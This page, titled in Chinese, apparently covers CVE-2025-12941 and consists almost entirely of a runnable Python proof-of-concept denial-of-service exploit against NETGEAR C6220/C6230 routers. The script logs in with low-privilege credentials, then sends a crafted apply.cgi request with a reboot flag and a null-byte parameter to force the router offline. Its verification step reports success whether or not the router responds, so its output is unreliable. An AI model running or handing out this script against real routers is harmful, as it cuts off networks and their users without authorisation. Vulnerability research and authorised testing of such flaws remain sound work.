CVE-2025-12941: NETGEAR C6220/C6230 路由器拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-12941 PoC - NETGEAR C6220/C6230 DoS Vulnerability Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import time def exploit_dos(target_ip, username, password): """ Exploit the DoS vulnerability in NETGEAR C6220/C6230 routers. Args: target_ip: Router's IP address username: Low-privilege WiFi user credentials password: User password """ base_url = f"http://{target_ip}" # Step 1: Authenticate with low-privilege credentials login_url = f"{base_url}/login.cgi" login_data = { "username": username, "password": password } session = requests.Session() try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Send malicious request to trigger DoS # This specific request pattern triggers the vulnerability dos_url = f"{base_url}/apply.cgi" dos_data = { "current_page": "RST_stuck.cgi", "next_page": "index.htm", "submit_flag": "reboot", "wan_proto": "dhcp", # Malformed parameters that trigger the vulnerability "special\x00":"value" } print("[*] Sending DoS trigger request...") response = session.post(dos_url, data=dos_data, timeout=5) # Step 3: Verify router reboot print("[*] Waiting for router reboot...") time.sleep(30) for i in range(10): try: response = session.get(base_url, timeout=5) if response.status_code == 200: print("[+] Router rebooted successfully - DoS confirmed") return True except: time.sleep(10) print("[-] Router did not respond - DoS successful") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting NETGEAR C6220/C6230 at {target}") exploit_dos(target, user, pwd)